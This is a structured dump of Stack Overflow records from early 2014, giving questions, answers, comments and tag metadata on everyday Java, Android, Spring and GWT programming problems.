answers question: http://stackoverflow.com/q/22198611

http://stackoverflow.com/q/22262309
tagged with: java
type: Question
score: -1
has answer: http://stackoverflow.com/a/22262497
answer count: 1
downvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/33815076
has comment: http://stackoverflow.com/comment/33814808
type: UnansweredQuestion
has body: How do i use the method Loanable to get setDueOn(calendar.getTime) and setLoanedTo(name) to function? "Your library loan method should use the Loanable item that is passed in to set the due on and the loaned to. You want to call those set methods on that passed in instance of Loanable. " I am getting the errors The method setDueOn is undefined for the type library The method setLoanedTo is undefined for the type library Sorry for all the code. package src.edu.htc.java1.library; import java.util.ArrayList; import java.util.Calendar; public class Library { /* The collection of Media owned by the library */ private ArrayList&lt;Media&gt; collection = new ArrayList&lt;Media&gt;(); public void addToCollection(Media item) { collection.add(item); } public void loan(Loanable item,String name) { Calendar calendar = Calendar.getInstance(); calendar.add(Calendar.DAY_OF_MONTH, item.getDaysToLoan()); // Now this is asking the helper how many days to loan for setDueOn(calendar.getTime()); setLoanedTo(name); return(setdueOn(Loanable)); } } 1 package src.edu.htc.java1.library; import java.util.ArrayList; /** * */ /** * This class is used to test our library and media classes. * */ public class MediaTester { /** * This is the main test method * @param args - values passed in by the JVM when running * the application */ public static void main(String[] args) { Book myBook = new Book(); myBook.setLibraryId(123456L); myBook.setLocation("Eden Prairie"); myBook.setTitle("My Book Title"); ArrayList&lt;String&gt; authorList = new ArrayList&lt;String&gt;(); authorList.add("Joe Author"); authorList.add("Jane Author"); myBook.setAuthors(authorList); myBook.setCopyright("1984"); myBook.setFormat("paperback"); myBook.setNumberOfPages(385); myBook.setPublishers("Some Publisher"); System.out.println(myBook); Movies myMovie = new Movies(); myMovie.setTitle("Fargo"); myMovie.setReleaseDate(2123); myMovie.setDirector("Matt Johnson"); myMovie.setActors("Matt"); myMovie.setMPAA_rating("R"); ArrayList&…
upvote count: 0
has title: The Method is undefined for the type Library(class)

http://stackoverflow.com/q/22263512
has title: Get PHP or HTTP string from website, Place string in Android TextView
score: 0
tagged with: android
type: UnansweredQuestion
tagged with: php
tagged with: http
type: Question
tagged with: java
has answer: http://stackoverflow.com/a/22263739
answer count: 1
has comment: http://stackoverflow.com/comment/33817792
has body: New to Android Programming. Been looking for weeks now! Really Need your Help!!! Trying to create my first Android App. I would like to get a PHP or HTTP string from a webpage (website) and place it into a TextView in my App. basically, I am trying to change the TextView Text into the string from the webpage. I been having lots of problems trying to get this to work. Can you Please put a full MainActivity.java code to help me. Thank you Very Much guys, I am not a programmer, but I am a Cisco CCIE Security Engineer, if you have any Networking questions I can help answer, that can be my way of returning the favor. Thanks again.

mobile-application
tags question: http://stackoverflow.com/q/22205093
type: Tag
tag name: mobile-application

http://stackoverflow.com/comment/33746953
comment on: http://stackoverflow.com/q/22225764
has text: Log is totally empty. There is only one file created: localhost.2014-03-06.log
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33854933
has text: Yes, it is certainly true that they clicked the wrong run choice
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22284279

http://stackoverflow.com/comment/33725038
comment on: http://stackoverflow.com/q/22212703
type: Comment
type: QuestionComment
has text: Does the number of scores vary per student, or is it constant?
score: 0

http://stackoverflow.com/comment/33834139
type: Comment
type: QuestionComment
has text: Please share some input and output with secret key.
comment on: http://stackoverflow.com/q/22272910
score: 0

http://stackoverflow.com/comment/33696418
type: QuestionComment
has text: `getobjectInfo()` returned the object, but when and where it was created - with which constructor - may vary.
type: Comment
score: 2
comment on: http://stackoverflow.com/q/22197542

http://stackoverflow.com/comment/33888500
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22303640
has text: I would suggest you use Netbeans to edit the component. I'm also having to work with NetBeans generated dialog, panel and such and keep using Netbeans to modify them to avoid the burden.
score: 1

http://stackoverflow.com/comment/33705828
score: 0
comment on: http://stackoverflow.com/q/22202145
type: Comment
type: QuestionComment
has text: @Baz oddly, using setText(String) still "appends" whatever was originally in the Text box. I;ve gotten around this by using display.setText(""). But logically, why how come when I reassign the setText, it adds onto what is already there instead of completely replacing it?

http://stackoverflow.com/comment/122469398
comment on: http://stackoverflow.com/a/49895903
has text: is there something similar for getting the first/last day of the week?
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/22216126
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33730533
upvote count: 2
tagged with: java
type: Question
tagged with: gwt
has answer: http://stackoverflow.com/a/22216184
tagged with: date
answer count: 1
downvote count: 0
has body: I am using Date validation in a Smart GWT application, where there are two fields fromDate and toDate,of DateItem It shows an error message whenever the user chooses a future date, I have used .after() method of java.util.Date class. Now , my question is does .after() compares the day or does it also compares the time. How precise are .after() and .before() methods of Date class?
has title: How precise is .after() of java.util.Date
accepted answer: http://stackoverflow.com/a/22216184
favorite count: 0

http://stackoverflow.com/q/22186934
type: Question
has comment: http://stackoverflow.com/comment/33678368
accepted answer: http://stackoverflow.com/a/22187036
has body: I am using Spring web service and in my controller I am using @RequestBody and @ResponseBody. Now from what I understand these annotations do the magic of converting the incoming request to the class object that you specify. However, what if my class object had references to other class objects. Something like: public class Question { private String questionText; List&lt;Options&gt; options; public String getQuestionText() { return questionText; } public void setQuestionText(String questionText) { this.questionText = questionText; } //getters and setters for options } The incoming request can look something like this: {"questionText":"sample question","options":{"option-0":"option0","option-1":"option1","option-2":"option2","option-3":"option3"}} Option looks something like this: public class Option { private String option; public String getOption() { return option; } public void setOption(String option) { this.option = option; } } How can will this be mapped?
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/33678325
tagged with: spring
has answer: http://stackoverflow.com/a/22187036
tagged with: spring-mvc
type: AnsweredQuestion
has title: Spring web service request and response for mapping having list of other objects
tagged with: java

http://stackoverflow.com/a/22316098
type: Answer
score: 0
answers question: http://stackoverflow.com/q/22314972
has body: Using java for this purpose will make it complicated. A simple unix comand should do it: grep -i '.com.jp' filename.txt &gt; newfile.txt

http://stackoverflow.com/a/22229735
has body: You could define a custom InvalidFieldException for: Invalid username / email / password Username already used Email already used which contains a Map describing all the errors where the key is the field identifier, and the value the associated error message. For: Failed to make a HTTP call to the server (IOException from Apache HTTPClient) Non 200 OK server HTTP response or failed to parse the servers JSON response You can just define one or two dedicated exceptions and print a message on the screen for the user. It is also a bad practice to put validation only in your ui, it should at least append in your model.
answers question: http://stackoverflow.com/q/22229337
type: Answer
has comment: http://stackoverflow.com/comment/33755840
score: 0

http://stackoverflow.com/q/22290994
downvote count: 1
has comment: http://stackoverflow.com/comment/33866644
favorite count: 0
has answer: http://stackoverflow.com/a/22291166
has answer: http://stackoverflow.com/a/68907959
tagged with: android
linked to: http://stackoverflow.com/q/22310329
has answer: http://stackoverflow.com/a/22291192
has answer: http://stackoverflow.com/a/68959195
possible better answer: http://stackoverflow.com/a/71998318
tagged with: time
has answer: http://stackoverflow.com/a/71998318
has answer: http://stackoverflow.com/a/22293789
accepted answer: http://stackoverflow.com/a/22293789
has comment: http://stackoverflow.com/comment/121812941
type: AnsweredQuestion
has body: I want to get the time of a day in milliseconds, I do not this day to have any specific date, just a time. I made something, thought it worked, but then went debugging and concluded that it doesn't work how I want it to. I want to use this to check if the current time is between both my specified startTime and endTime. long startTime = settings.getLong("startTime", 0); long endTime = settings.getLong("endTime", 0); if ((currentTime.getMillis() &gt;= startTime) &amp;&amp; (currentTime.getMillis() &lt;= endTime)) { //Do stuff here } How I am setting the time of the propeties startTime and endTime: Calendar startTime = Calendar.getInstance(); startTime.set(Calendar.HOUR_OF_DAY, 16); startTime.set(Calendar.MINUTE, 00); editor.putLong("startTime", startTime.getTimeInMillis()); Calendar endTime = Calendar.getInstance(); endTime.set(Calendar.HOUR_OF_DAY, 16); endTime.set(Calendar.MINUTE, 00); endTime.add(Calendar.HOUR_OF_DAY, 11); editor.putLong("endTime", endTime.getTimeInMillis()); editor.commit(); However this will mean that both startTimeand endTime will have this a specific date attached to it. I hope I explained it well, any help is appreciated!
score: 1
tagged with: java
tagged with: milliseconds
answer count: 6
tagged with: date
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/121871889
has title: How to get the time of the day in milliseconds?

http://stackoverflow.com/q/22310006
upvote count: 0
score: -1
tagged with: udp
has body: I have simple UDP client and server codes. When the server gets the request from the client, I want to form a reply out of the data send by the client together with some additional data, as shown in the code. import java.io.*; import java.net.*; public class UDPClient { public static void main(String args[]){ // args give message contents and destination hostname DatagramSocket aSocket = null; try { aSocket = new DatagramSocket(); byte [] m = args[0].getBytes(); InetAddress aHost = InetAddress.getByName(args[1]); int serverPort = 8211; DatagramPacket request = new DatagramPacket(m, args[0].length(), aHost, serverPort); aSocket.send(request); byte[] buffer = new byte[1000]; DatagramPacket reply = new DatagramPacket(buffer, buffer.length); aSocket.receive(reply); System.out.println("Reply: " + new String(reply.getData())); }catch (SocketException e){System.out.println("Socket: " + e.getMessage()); }catch (IOException e){System.out.println("IO: " + e.getMessage()); }finally {if(aSocket != null) aSocket.close();} } } public class UDPServer { public static void main(String args[]){ DatagramSocket aSocket = null; try{ aSocket = new DatagramSocket(8211); // create socket at agreed port byte[] buffer = new byte[1000]; while(true){ buffer = ("Hello "+new String(request.getData()).toUpperCase()+" Goodbye").getBytes(); System.out.print("Replying to client: "+buffer); DatagramPacket reply = new DatagramPacket(buffer, buffer.length, request.getAddress(), request.getPort()); aSocket.send(reply); } }catch (SocketException e){System.out.println("Socket: " + e.getMessage()); }catch (IOException e) {System.out.println("IO: " + e.getMessage()); }finally {if(aSocket != null) aSocket.close();} } } The problem is, that as an output I get: Replying to client: Hello PAUL and the same is received at the client side, with Goodbye being omitted. Why is it being omitted? Interestingly, if I do this: buffer = ("Hello "+"Goodbye " +new String(request.getData()).toUpperCase()).getBytes(); the out…
answer count: 1
favorite count: 0
downvote count: 1
has title: UDP Client Server Java
type: AnsweredQuestion
tagged with: java
has answer: http://stackoverflow.com/a/22310299
accepted answer: http://stackoverflow.com/a/22310299
type: Question
tagged with: client-server

http://stackoverflow.com/a/22287367
has comment: http://stackoverflow.com/comment/33862709
has comment: http://stackoverflow.com/comment/33860974
type: Answer
has comment: http://stackoverflow.com/comment/33860342
accepted answer of: http://stackoverflow.com/q/22286421
has comment: http://stackoverflow.com/comment/33863706
downvote count: 1
has comment: http://stackoverflow.com/comment/33863134
has comment: http://stackoverflow.com/comment/33861345
has comment: http://stackoverflow.com/comment/33859670
score: 0
has comment: http://stackoverflow.com/comment/33861175
has comment: http://stackoverflow.com/comment/33863668
upvote count: 1
has comment: http://stackoverflow.com/comment/33859758
has comment: http://stackoverflow.com/comment/33860207
has comment: http://stackoverflow.com/comment/33861832
has comment: http://stackoverflow.com/comment/33862470
has comment: http://stackoverflow.com/comment/33867482
has comment: http://stackoverflow.com/comment/33863761
has comment: http://stackoverflow.com/comment/33859682
has comment: http://stackoverflow.com/comment/33862703
has comment: http://stackoverflow.com/comment/33862624
has comment: http://stackoverflow.com/comment/33859697
has comment: http://stackoverflow.com/comment/33862024
has comment: http://stackoverflow.com/comment/33862190
has comment: http://stackoverflow.com/comment/33863259
has comment: http://stackoverflow.com/comment/33860841
has comment: http://stackoverflow.com/comment/33860942
has comment: http://stackoverflow.com/comment/33864137
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33862821
has body: First of all: rename __Location to Location. Second: you talk about "efficient search", fine. Now answer these two questions: where does this location you want to search for come from? Is it a result of a new Location()? The id of this location? The string of this location? in the container you want to lookup from, are the existing locations sorted? If yes, what against? The id? The string? Without a clear answer to this question, it is impossible to answer your question. Let us assume, since that is the most simple case, that a Location is identified by its locationId; you know that for a given locationId, the locationString will be unique. For maximum efficiency, you should then implement the .equals()/.hashCode() contract in Location and use a HashSet: public static class Location { private final int locationId; private final String locationDesc; public Location(final int locationId, final String locationDesc) { this.locationId = locationId; this.locationDesc = locationDesc; } @Override public int hashCode() { return locationId; } @Override public boolean equals(final Object obj) { if (obj == null) return false; if (this == obj) return true; if (getClass() != obj.getClass()) return false; final Location other = (Location) obj; return locationId == other.locationId; } } Then use a HashSet&lt;Location&gt; to insert Locations and use this Set's .contains() method.
has comment: http://stackoverflow.com/comment/33861928
has comment: http://stackoverflow.com/comment/33864034
answers question: http://stackoverflow.com/q/22286421

http://stackoverflow.com/q/22305095
has answer: http://stackoverflow.com/a/22311254
has answer: http://stackoverflow.com/a/22323753
tagged with: jframe
type: UnansweredQuestion
tagged with: swing
tagged with: java
type: Question
linked to: http://stackoverflow.com/q/9554636
answer count: 2
has title: JFrame on website
score: 0
tagged with: japplet
has body: I have an application which is composed of many JFrame objects (using Java and Netbeans). The 'main' frame has 4 buttons and each button opens another frame. Now my problem is that I want the whole application to be run on the web as a website. I was considering 3 possible scenarios (from my research): Use Java Web Start Convert JFrame to JApplet Create from scratch a Java web application I was hoping that maybe someone can give me some help, and guidelines of which option I should opt for.
tagged with: web

http://stackoverflow.com/a/22195674
score: 0
answers question: http://stackoverflow.com/q/22193243
type: Answer
accepted answer of: http://stackoverflow.com/q/22193243
type: AcceptedAnswer
has body: Just put it in a for cycle public void testAddRemove() throws Exception { //it runs it 1000 times addRemove(1000); } public void addRemove(int NUMBER_OF_TIMES) throws Exception { for(int i=0; i&lt;NUMBER_OF_TIMES; i++){ solo.assertCurrentActivity("Check on first activity", MainActivity.class); solo.clickOnActionBarItem(R.id.action_addperson); solo.enterText(0, "id number"); solo.enterText(1, "Name"); solo.enterText(2, "Last Name"); solo.enterText(3, "Address"); solo.enterText(4, "Contact number"); solo.enterText(5, "Code"); solo.enterText(6, "Date"); solo.clickOnMenuItem("Save Note"); } }

http://stackoverflow.com/a/22239238
type: Answer
answers question: http://stackoverflow.com/q/22239054
score: 0
has body: The problems are (1) that the distance from the query point to the point defining a subtree is not a lower bound on the distance to all points in that subtree and (2) that the nearest point may lie in the "other" child. To get a lower bound, you can track the bounding box of the points in the subtree on descent, and use the distance of the query point to the box. More simplistically, you can use the distance from the point to the half-plane defined by the most recent split. You need to explore both children (unless pruned).

http://stackoverflow.com/comment/33965155
comment on: http://stackoverflow.com/a/22329889
type: AnswerComment
score: 0
has text: It depends on how you use the attribute. You could have a method that access the attribute and if it's null throw an exception, much like Scala's Option.get does.
type: Comment

http://stackoverflow.com/comment/33801501
type: Comment
type: QuestionComment
has text: Arrival Mar 21, 2014 10:30 38472 Super Express Cancel 40003 this is the data that my file contains. My code is unable to get past the blank space which is in between arrival and cancel line
score: 0
comment on: http://stackoverflow.com/q/22255425

http://stackoverflow.com/comment/33806235
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22257784
has text: The OP's code isn't valid in terms of initialisation of obviously globally defined variables outside of any function.

http://stackoverflow.com/comment/33651535
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22172312
has text: That's pretty close - it requires quite a few steps though, at least on Kepler. I have to `Ctrl+Space` for the constructor, then Quick Fix for the variable type (which is still `java.lang.Character`) then `Command+Shift+M` on the variable type to import the class rather than using the fully-qualified name, then do the same on the constructor.
score: 0

http://stackoverflow.com/q/22259273
has comment: http://stackoverflow.com/comment/33808714
has answer: http://stackoverflow.com/a/22259456
has title: Expandable ListView OnClick
tagged with: expandablelistview
type: Question
has body: I have got MainActivity.java, SecondActivity.java and MyExpandableAdapter.java for my ExpandableListView. I am trying to on my child item click go to the SecondActivity. But I really dont know how to do that. I have tryed to add startActivity(new Intent(this(), SecondActivity.class)); to my OnClickListener in my MyExpandableAdapter.java but it does not work. Please help me :) Here is my code. MainActivity.java public class MainActivity extends ExpandableListActivity{ private ArrayList&lt;String&gt; parentItems = new ArrayList&lt;String&gt;(); private ArrayList&lt;Object&gt; childItems = new ArrayList&lt;Object&gt;(); @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); ExpandableListView expandableList = getExpandableListView(); expandableList.setDividerHeight(2); expandableList.setGroupIndicator(null); expandableList.setClickable(true); setGroupParents(); setChildData(); MyExpandableAdapter adapter = new MyExpandableAdapter(parentItems, childItems); adapter.setInflater((LayoutInflater) getSystemService(Context.LAYOUT_INFLATER_SERVICE), this); expandableList.setAdapter(adapter); expandableList.setOnChildClickListener(this); } public void setGroupParents() { parentItems.add("Android"); parentItems.add("Core Java"); parentItems.add("Desktop Java"); parentItems.add("Enterprise Java"); } public void setChildData() { // Android ArrayList&lt;String&gt; child = new ArrayList&lt;String&gt;(); child.add("Core"); child.add("Games"); childItems.add(child); // Core Java child = new ArrayList&lt;String&gt;(); child.add("Apache"); child.add("Applet"); child.add("AspectJ"); child.add("Beans"); child.add("Crypto"); childItems.add(child); // Desktop Java child = new ArrayList&lt;String&gt;(); child.add("Accessibility"); child.add("AWT"); child.add("ImageIO"); child.add("Print"); childItems.add(child); // Enterprise Java child = new ArrayList&lt;String&gt;(); child.add("EJB3"); child.add("GWT"); child.add("Hibernate"); child.add("JSP"); chil…
tagged with: java
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/33809199
type: UnansweredQuestion
tagged with: android
tagged with: onclick

http://stackoverflow.com/comment/33746246
type: Comment
has text: Maybe the update makes it clearer. As i said, change your n to double and everything works fine, because the result doesn't need to be casted anymore
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22225131

http://stackoverflow.com/comment/33716555
type: Comment
type: QuestionComment
has text: @blurfus Not due to variable scope, let me assure you.
comment on: http://stackoverflow.com/q/22207548
score: 0

http://stackoverflow.com/a/22321669
has body: I assume you have already checked the log4j2 documentation so you know how to create a basic log4j2.xml file. I also assume you want to keep some logging but only want to switch off some very verbose logging by org.quartz.scheduler.* loggers. Then, a basic config with quartz loggers switched to ERROR-only could look like this: <?xml version="1.0" encoding="UTF-8"?> %p %d %c{1.} [%t] %m%n <AppenderRef ref="MyFile"/> <AppenderRef ref="MyFile"/>
downvote count: 0
has comment: http://stackoverflow.com/comment/34275074
has comment: http://stackoverflow.com/comment/33924382
type: Answer
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/22317482
has comment: http://stackoverflow.com/comment/34276304
has comment: http://stackoverflow.com/comment/33924173

http://stackoverflow.com/comment/33820919
comment on: http://stackoverflow.com/q/22265866
score: 0
has text: It's not clear what you're trying to do, or even what's not working. But your object has the same name as your class, so an object method call would look exactly like a static call.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33874814
type: QuestionComment
has text: Have you tried http://api.itextpdf.com/itext/com/itextpdf/text/pdf/BaseFont.html#createFont(java.lang.String,%20java.lang.String,%20boolean,%20boolean,%20byte[],%20byte[]) ?
comment on: http://stackoverflow.com/q/22268438
score: 0
type: Comment

http://stackoverflow.com/q/22308668
has body: For some reason, typing: class Something&lt;T extends Comparable&lt;T&gt;&gt; { } Gets an error: type Comparable does not take parameters But writing now: class Something&lt;T extends Comparable&gt; { } Does compile. Why? I tried it out on javac version 1.7.0.51. Am I missing something? Or do they have removed that we don't need to type generic param on Comparable?
has comment: http://stackoverflow.com/comment/33904521
answer count: 0
has comment: http://stackoverflow.com/comment/33897998
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33898005
tagged with: generics
has comment: http://stackoverflow.com/comment/33898122
type: Question
has comment: http://stackoverflow.com/comment/33897961
has title: Java - Comparable wiithout generic now?
has comment: http://stackoverflow.com/comment/117483121
score: 0
tagged with: java
tagged with: comparable
has comment: http://stackoverflow.com/comment/33897931
has comment: http://stackoverflow.com/comment/33898065

http://stackoverflow.com/q/22269299
has comment: http://stackoverflow.com/comment/33826615
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22269452
has title: Validate data Java class
has comment: http://stackoverflow.com/comment/33826651
tagged with: java
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/22269380
has body: Main question: Each flight has a number (this must start with letters EI and be followed by 3 digits), a day of the week the flight travels, a destination and the number of seats booked. Each flight will also have the standard responsibilities and the ability to calculate and return the number of free seats on a flight (assume each flight has a maximum of 10). You should use your imaginations to create one other flight responsibility that you think would be useful (this could also involve the creation of one or more new data items to support the responsibility). This is what i have done so far: public class Flight{ private String flightNo; private date day; private String private int numberOfBookedSeats; private int freeSeats=0; private int passengerMeals; private int mealsNeeded=0; public Flight(){ } public Flight(String flightNo, date day,String destination,int numberOfBookedSeats,int passengerMeals ){ this.flightNo= flightNo; this.day = day; this.destination= destination; this.numeberOfSeats= numberOfSeats; this.passengerMeals= passengerMeals; } public void setFlightNo(filghtNo f){ flightNo= f; } public String getFlightNo() { return flightNo; } public void setDay(Day d) { day= d; } public int getDay(){ return day; } public void setDestination(destination ds) { destination = ds; } public int getDestination(){ return destination; } public void setNumeberOfSeats(numberOfSeats s){ numberOfSeats= s; } public int getNumeberOfSeats(){ return numeberOfSeats; } public void setPassengerMeals( passengerMeals pm){ passengerMeals= pm; } public int getPassengerMeals(){ return passengerMeals; } public int calculateFreeSeats(){ int maxSeatsNumbers = 10; freeSeats = maxSeatsNumbers - numberOfBookedSeats; return freeSeats; } public int calculateMealsNeeded(){ int staffMeals=5; passengerMeals= numberOfBookedSeats; mealsNeeded= staffMeals + passengerMeals; return mealsNeeded; } }
score: -1
answer count: 3
has answer: http://stackoverflow.com/a/22269363
upvote count: 0
has comment: http://stackoverflow.com/comment/33827379
favorite count: 0

otto
tag name: otto
type: Tag
tags question: http://stackoverflow.com/q/22278135

http://stackoverflow.com/comment/33935431
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22323751
has text: @NeoP5, will edit my response to answer your question

http://stackoverflow.com/comment/33764890
type: Comment
has text: Means I should declare in the way: `ProcessBuilder("java","-cp","TestUnit1","10","12,"14");` with `ProcessBuilder.directory("C:\\Users\\acer-PC\\Desktop\\")`?
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/22235173

http://stackoverflow.com/q/22298192
tagged with: apache-spark
score: 48
answer count: 4
has answer: http://stackoverflow.com/a/49997497
has answer: http://stackoverflow.com/a/33242774
type: UnansweredQuestion
downvote count: 2
has answer: http://stackoverflow.com/a/22306203
tagged with: java
has answer: http://stackoverflow.com/a/25309346
type: Question
upvote count: 50
favorite count: 0
has body: I have written a Java program for Spark. But how to run and compile it from Unix command line. Do I have to include any jar while compiling for running
has title: How to run a Spark Java program

httpsurlconnection
type: Tag
tags question: http://stackoverflow.com/q/22252160
tag name: httpsurlconnection

http://stackoverflow.com/comment/33760597
type: QuestionComment
has text: yeah, I corrected my question... sorry!
score: 0
comment on: http://stackoverflow.com/q/22233011
type: Comment

http://stackoverflow.com/a/22235446
score: 4
upvote count: 4
has comment: http://stackoverflow.com/comment/33766954
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/22235319
downvote count: 0
answers question: http://stackoverflow.com/q/22235319
has comment: http://stackoverflow.com/comment/33765390
has body: put a1 numbers in a Map&lt;Integer,Integer&gt; count, using the value as the key, and setting the count to 1 Put a2 numbers into the same map. If an item does not exist, assign the count of 1, otherwise assign it the existing count + 1 Put a3 numbers into the same map. If an item does not exist, assign the count of 1, otherwise assign it the existing count + 1 Go through the entries in a map, and output all keys where the value is greater than one. This algorithm is amortized linear time in the combined number of elements in the three arrays. If the numbers in the three arrays are limited to, say, 1000 or another relatively small number, you could avoid using collections at all, but use a potentially more expensive algorithm based on the upper limit of your numbers: replace the map with an array counts[MAX_NUM+1], and then run the same algorithm, like this: int[] counts = new int[MAX_NUM+1]; for (int a : a1) counts[a]++; for (int a : a2) counts[a]++; for (int a : a3) counts[a]++; for (int i = 0 ; i != MAX_NUM+1 ; i++) { if (counts[i] &gt; 1) { System.out.println(i); } }
type: Answer
has comment: http://stackoverflow.com/comment/33791816
has comment: http://stackoverflow.com/comment/33765391
has comment: http://stackoverflow.com/comment/33765478
has comment: http://stackoverflow.com/comment/33765452
has comment: http://stackoverflow.com/comment/76943910

http://stackoverflow.com/a/22200013
has comment: http://stackoverflow.com/comment/33701942
downvote count: 0
answers question: http://stackoverflow.com/q/22199961
has comment: http://stackoverflow.com/comment/33701208
has comment: http://stackoverflow.com/comment/33701326
has body: There's always only one garbage collector, that runs in it own Thread
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/33701489
has comment: http://stackoverflow.com/comment/33702568
has comment: http://stackoverflow.com/comment/33701755
has comment: http://stackoverflow.com/comment/33702702
upvote count: 2

http://stackoverflow.com/a/22281134
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33850368
has comment: http://stackoverflow.com/comment/33851142
type: Answer
score: 1
upvote count: 1
has body: How about a simple arithmetic mod / div action? long manufacturerID = (long) UPC / 1000000L; long itemNumber = (long) (UPC % 100000L) / 10; Simple arithmetic without costly string operations is much better performance wise. It also looks far more elegant.
has comment: http://stackoverflow.com/comment/33848441
has comment: http://stackoverflow.com/comment/33851255
has comment: http://stackoverflow.com/comment/33848164
has comment: http://stackoverflow.com/comment/33848364
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22281038
answers question: http://stackoverflow.com/q/22281038

http://stackoverflow.com/comment/33882785
type: Comment
type: QuestionComment
has text: I try this compromise: SetCancelable(false) on ProgressDialog. In this way user has no possibility to cancel that action and so I don't need to stop asyncTask. It's not the best idea, because network can be slow and user maybe don't want to wait.. But no others solution found.
comment on: http://stackoverflow.com/q/22299649
score: 0

http://stackoverflow.com/comment/33673867
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22184440
has text: But how do I know this is checking whether or not the maze is traversable instead of just changing all O to S? Could you edit your answer to show an example-code?

http://stackoverflow.com/q/22192286
tagged with: java
type: Question
has comment: http://stackoverflow.com/comment/33710629
has title: Application session maintainance
tagged with: session
has comment: http://stackoverflow.com/comment/33703459
tagged with: struts2
score: 0
has comment: http://stackoverflow.com/comment/33689913
tagged with: session-variables
has comment: http://stackoverflow.com/comment/33742646
type: UnansweredQuestion
tagged with: session-timeout
has body: I am working on struts2 web application. Now I need to maintain a session in my application when the user logs in and then the same session id should be maintained in whole application. Suppose if i open one of my application URL in some different browser then by checking the session it should redirect me to the Login page. How can I proceed.
answer count: 0

http://stackoverflow.com/comment/33833037
score: 0
has text: @SotiriosDelimanolis, Very thanks for the information, would take care of this while actually implementing. Does there exists a better solution for this.
type: QuestionComment
comment on: http://stackoverflow.com/q/22251741
type: Comment

http://stackoverflow.com/a/22368859
has comment: http://stackoverflow.com/comment/45715261
has comment: http://stackoverflow.com/comment/39547568
upvote count: 5
has comment: http://stackoverflow.com/comment/45753983
has comment: http://stackoverflow.com/comment/69023685
has comment: http://stackoverflow.com/comment/45729069
answers question: http://stackoverflow.com/q/22295903
has body: UPDATE (April 2015) GDAA finally has it's own 'trash' functionality rendering the answer below IRRELEVANT. ORIGINAL ANSWER: As Cheryl mentioned above, you can combine these two APIs. The following code snippet, taken from here, shows how it can be done: First, gain access to both GoogleApiClient, and ...services.drive.Drive GoogleApiClient _gac; com.google.api.services.drive.Drive _drvSvc; public void init(MainActivity ctx, String email){ // build GDAA GoogleApiClient _gac = new GoogleApiClient.Builder(ctx).addApi(com.google.android.gms.drive.Drive.API) .addScope(com.google.android.gms.drive.Drive.SCOPE_FILE).setAccountName(email) .addConnectionCallbacks(ctx).addOnConnectionFailedListener(ctx).build(); // build RESTFul (DriveSDKv2) service to fall back to for DELETE com.google.api.client.googleapis.extensions.android.gms.auth.GoogleAccountCredential crd = GoogleAccountCredential .usingOAuth2(ctx, Arrays.asList(com.google.api.services.drive.DriveScopes.DRIVE_FILE)); crd.setSelectedAccountName(email); _drvSvc = new com.google.api.services.drive.Drive.Builder( AndroidHttp.newCompatibleTransport(), new GsonFactory(), crd).build(); } Second, implement RESTful API calls on GDAA's DriveId: public void trash(DriveId dId) { try { String fileID = dId.getResourceId(); if (fileID != null) _drvSvc.files().trash(fileID).execute(); } catch (Exception e) {} } public void delete(DriveId dId) { try { String fileID = dId.getResourceId(); if (fileID != null) _drvSvc.files().delete(fileID).execute(); } catch (Exception e) {} } ... and voila, you are deleting your files. And as usual, not without problems. First, if you try to delete a file immediately after you created it, the getResourceId() falls on it's face, returning null. Not related to the issue here, I'm gonna raise an SO nag on it. And second, IT IS A HACK! and it should not stay in your code past GDAA implementation of TRASH and DELETE functionality.
has comment: http://stackoverflow.com/comment/45751225
score: 5
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22295903
type: Answer

http://stackoverflow.com/a/22239060
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22238881
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22238881
upvote count: 2
type: Answer
has body: It's imcInterpreter.setText lowercase s, not imcInterpreter.SetText
score: 2

http://stackoverflow.com/q/22269760
has answer: http://stackoverflow.com/a/22270334
accepted answer: http://stackoverflow.com/a/22270334
favorite count: 0
tagged with: jdialog
has comment: http://stackoverflow.com/comment/33827374
has comment: http://stackoverflow.com/comment/33827312
has title: While loop whithout instruction in Java
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33827565
duplicate of: http://stackoverflow.com/q/25425130
linked to: http://stackoverflow.com/q/8817300
score: 1
tagged with: java
